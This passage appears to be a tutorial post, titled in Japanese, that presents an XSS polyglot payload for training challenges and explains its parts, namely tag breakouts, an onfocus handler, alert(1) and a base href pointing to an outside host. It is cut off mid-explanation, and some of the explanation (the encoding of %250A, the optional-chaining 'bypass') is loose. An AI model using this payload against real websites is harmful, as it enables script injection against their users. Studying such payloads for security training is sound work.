Polyglot はトレーニング XSS マッスル チャレンジのほとんどを解決します

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>

This section attempts to break out of various HTML tags like